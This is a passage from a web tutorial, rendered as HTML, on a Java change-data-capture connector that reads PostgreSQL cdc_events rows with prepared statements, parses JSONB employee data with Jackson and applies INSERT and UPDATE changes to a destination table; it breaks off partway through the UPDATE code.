&lt;p&gt;This query retrieves CDC events that have not yet been processed according to the connector's current processing position.&lt;/p&gt;

&lt;p&gt;The query uses two parameters:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;event_id &amp;gt; ?&lt;/code&gt; – Retrieves events with IDs greater than the last processed event ID.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;LIMIT ?&lt;/code&gt; – Restricts the number of events retrieved in a single query.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The results are ordered by &lt;code&gt;event_id&lt;/code&gt; in ascending order.&lt;/p&gt;

&lt;p&gt;This allows the connector to process the retrieved events in event ID order.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Executing the Query Using PreparedStatement
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;PreparedStatement&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
             &lt;span class="n"&gt;sourceConnection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sql&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setLong&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lastProcessedEventId&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;CDC_FETCH_SIZE&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;ResultSet&lt;/span&gt; &lt;span class="n"&gt;resultSet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeQuery&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Process results&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The connector uses a JDBC &lt;code&gt;PreparedStatement&lt;/code&gt; to execute the query.&lt;/p&gt;

&lt;p&gt;The two parameters are supplied using:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;setLong()&lt;/code&gt; for the last processed event ID.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;setInt()&lt;/code&gt; for the maximum number of events to retrieve.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Using a prepared statement separates SQL structure from parameter values and avoids constructing the query through string concatenation.&lt;/p&gt;

&lt;p&gt;The query results are returned as a JDBC &lt;code&gt;ResultSet&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  3. Extracting CDC Event Information
&lt;/h4&gt;

&lt;p&gt;The connector iterates through the result set:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resultSet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;next&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;eventId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;resultSet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getLong&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"event_id"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;operation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;resultSet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"operation"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;recordId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;resultSet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"record_id"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;changedData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
            &lt;span class="n"&gt;resultSet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"changed_data"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For each CDC event, it retrieves four values:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Column&lt;/th&gt;
&lt;th&gt;Java variable&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;event_id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;eventId&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Unique event ID.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;operation&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;operation&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;INSERT, UPDATE, or DELETE.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;record_id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;recordId&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ID of the affected employee.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;changed_data&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;changedData&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Employee data captured in JSONB format.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;These values contain the information required to process the corresponding employee change.&lt;/p&gt;

&lt;h4&gt;
  
  
  4. Converting JSON Data into Java Objects
&lt;/h4&gt;

&lt;p&gt;The &lt;code&gt;changed_data&lt;/code&gt; column contains employee information in PostgreSQL's JSONB format.&lt;/p&gt;

&lt;p&gt;The connector retrieves this value as a string and converts it into a Jackson &lt;code&gt;JsonNode&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;changedData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="n"&gt;resultSet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"changed_data"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="nc"&gt;JsonNode&lt;/span&gt; &lt;span class="n"&gt;employeeData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="no"&gt;OBJECT_MAPPER&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;readTree&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;changedData&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;ObjectMapper.readTree()&lt;/code&gt; method parses the JSON string and creates a tree representation of the JSON data.&lt;/p&gt;

&lt;p&gt;For example, a captured employee record might look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"John Smith"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"department"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Engineering"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"salary"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;95000.00&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After parsing, the connector can access individual fields using methods such as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"id"&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;asInt&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"name"&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;asText&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"salary"&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;decimalValue&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This makes it convenient to extract employee information when applying changes to the destination database.&lt;/p&gt;

&lt;h4&gt;
  
  
  5. Creating CDCEvent Objects
&lt;/h4&gt;

&lt;p&gt;After extracting the event information and parsing the JSON data, the connector creates a &lt;code&gt;CDCEvent&lt;/code&gt; object:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;CDCEvent&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;eventId&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;operation&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;recordId&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;employeeData&lt;/span&gt;
&lt;span class="o"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;CDCEvent&lt;/code&gt; record is defined as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;record&lt;/span&gt; &lt;span class="nf"&gt;CDCEvent&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;eventId&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;operation&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;recordId&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="nc"&gt;JsonNode&lt;/span&gt; &lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Java records provide a concise way to represent immutable data objects.&lt;/p&gt;

&lt;p&gt;Each &lt;code&gt;CDCEvent&lt;/code&gt; contains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Event ID.&lt;/li&gt;
&lt;li&gt;Operation type.&lt;/li&gt;
&lt;li&gt;Employee record ID.&lt;/li&gt;
&lt;li&gt;Parsed employee data.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The connector stores the retrieved events in an &lt;code&gt;ArrayList&lt;/code&gt; for subsequent processing.&lt;/p&gt;

&lt;h4&gt;
  
  
  6. Checking Whether Events Are Available
&lt;/h4&gt;

&lt;p&gt;After executing the query, the connector checks whether any events were retrieved:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isEmpty&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If no unprocessed events are currently available, the method exits its fetching loop and returns the current processing position.&lt;/p&gt;

&lt;p&gt;The continuous polling method will wait for the configured polling interval before checking the source database again.&lt;/p&gt;

&lt;p&gt;If events are available, the connector passes them to the batch-processing logic.&lt;/p&gt;

&lt;h4&gt;
  
  
  7. Passing Events for Processing
&lt;/h4&gt;

&lt;p&gt;The connector divides the retrieved events into batches and invokes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="n"&gt;processBatchWithRetry&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;batch&lt;/span&gt;
&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After a batch has been successfully processed, the connector updates its local processing position:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="n"&gt;lastProcessedEventId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;eventId&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This value is then used when retrieving the next page of events.&lt;/p&gt;

&lt;p&gt;The detailed batch-processing and pagination logic will be discussed in Section 6.&lt;/p&gt;

&lt;h3&gt;
  
  
  Summary
&lt;/h3&gt;

&lt;p&gt;In this subsection, we examined how the Java connector retrieves and prepares CDC events for processing.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Queries the source &lt;code&gt;cdc_events&lt;/code&gt; table using the last processed event ID.&lt;/li&gt;
&lt;li&gt;Retrieves the event ID, operation, employee ID, and captured employee data.&lt;/li&gt;
&lt;li&gt;Uses JDBC &lt;code&gt;PreparedStatement&lt;/code&gt; and &lt;code&gt;ResultSet&lt;/code&gt; to execute and read the query.&lt;/li&gt;
&lt;li&gt;Converts JSONB event data into Jackson &lt;code&gt;JsonNode&lt;/code&gt; objects.&lt;/li&gt;
&lt;li&gt;Creates &lt;code&gt;CDCEvent&lt;/code&gt; records to represent individual changes.&lt;/li&gt;
&lt;li&gt;Passes the retrieved events to the batch-processing method.&lt;/li&gt;
&lt;li&gt;Updates the local processing position after each successfully processed batch.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The connector can now retrieve CDC events and prepare them for application to the destination database.&lt;/p&gt;

&lt;p&gt;In the next subsection, we will examine how the connector applies INSERT, UPDATE, and DELETE operations to the destination &lt;code&gt;employees&lt;/code&gt; table.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.6 Applying Changes to the Destination Database
&lt;/h3&gt;

&lt;p&gt;After retrieving and parsing CDC events from the source database, the connector must apply the corresponding changes to the destination &lt;code&gt;employees&lt;/code&gt; table.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;applyChange()&lt;/code&gt; method is responsible for this operation.&lt;/p&gt;

&lt;p&gt;It examines the CDC operation type and executes the appropriate SQL statement against the destination database.&lt;/p&gt;

&lt;h4&gt;
  
  
  Understanding the applyChange() Method
&lt;/h4&gt;

&lt;p&gt;The implementation is shown below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;applyChange&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="nc"&gt;Connection&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;operation&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="nc"&gt;JsonNode&lt;/span&gt; &lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;SQLException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
            &lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"id"&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;asInt&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;switch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;operation&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s"&gt;"INSERT"&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

            &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;sql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"""
                    INSERT INTO employees
                    (id, name, department, salary)
                    VALUES (?, ?, ?, ?)
                    """&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

            &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;PreparedStatement&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
                         &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sql&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

                &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
                &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                        &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"name"&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;asText&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

                &lt;span class="n"&gt;setDepartment&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
                &lt;span class="n"&gt;setSalary&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

                &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeUpdate&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s"&gt;"UPDATE"&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

            &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;sql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"""
                    UPDATE employees
                    SET name = ?, department = ?, salary = ?
                    WHERE id = ?
                    """&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

            &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;PreparedStatement&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
                         &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sql&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

                &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                        &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"name"&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;asText&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

                &lt;span class="n"&gt;setDepartment&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
                &lt;span class="n"&gt;setSalary&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

                &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

                &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;rowsUpdated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeUpdate&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rowsUpdated&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;SQLException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                            &lt;span class="s"&gt;"Expected to update employee "&lt;/span&gt;
                                    &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt;
                    &lt;span class="o"&gt;);&lt;/span&gt;
